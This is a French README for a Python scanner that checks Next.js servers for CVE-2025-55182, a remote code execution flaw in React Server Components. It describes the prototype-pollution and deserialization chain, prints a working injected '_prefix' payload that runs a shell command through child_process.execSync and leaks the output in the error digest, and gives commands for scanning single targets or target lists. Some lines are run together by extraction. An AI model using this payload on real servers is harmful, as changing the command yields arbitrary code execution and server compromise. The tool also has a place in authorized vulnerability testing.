
Scanner de sécurité pour CVE-2025-55182 - Vulnérabilité RCE critique dans React Server Components
Cet outil vérifie si une cible est vulnérable à CVE‑2025‑55182, un bug d'exécution de code à distance causé par la gestion non sécurisée des charges utiles de modèles RSC (React Server Components) dans Next.js.
La vulnérabilité enchaîne Pollution de prototype → Abus de désérialisation → Exécution JavaScript côté serveur.
Avertissement : N'utilisez cet outil que sur des systèmes que vous possédez légalement ou pour lesquels vous disposez d'une autorisation explicite. Tester sans autorisation = crime, mec.
Next.js traite en interne des objets « modèle » spéciaux envoyés via multipart/form-data.
Si un attaquant injecte une structure malveillante comme un thenable falsifié, il peut empoisonner :
__proto___response._prefixconstructor.constructorCeci amène le serveur à évaluer du JavaScript contrôlé par l'attaquant, ce qui conduit à une RCE complète.
-u) ou une liste de cibles (-l)id) du digest d'erreur du serveurfoxvuln.txtpython3 main.py -u https://target.com
python3 main.py -l list.txt
La charge utile abuse de process.mainModule.require('child_process').execSync() via un _prefix injecté :
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
Cela force le serveur à exécuter id et à divulguer le résultat dans le digest d'erreur renvoyé (car les erreurs RSC renvoient intentionnellement un champ « digest » structuré).
Cible vulnérable :
[+] Testing: https://victim.com
[VULN] user : uid=1000(www-data)
Non vulnérable :
[+] Testing: https://secure.com
[NOT VULN]
Toutes les URL confirmées vulnérables sont enregistrées dans :
foxvuln.txt
Format :
https://victim.com => uid=1000(www-data)
/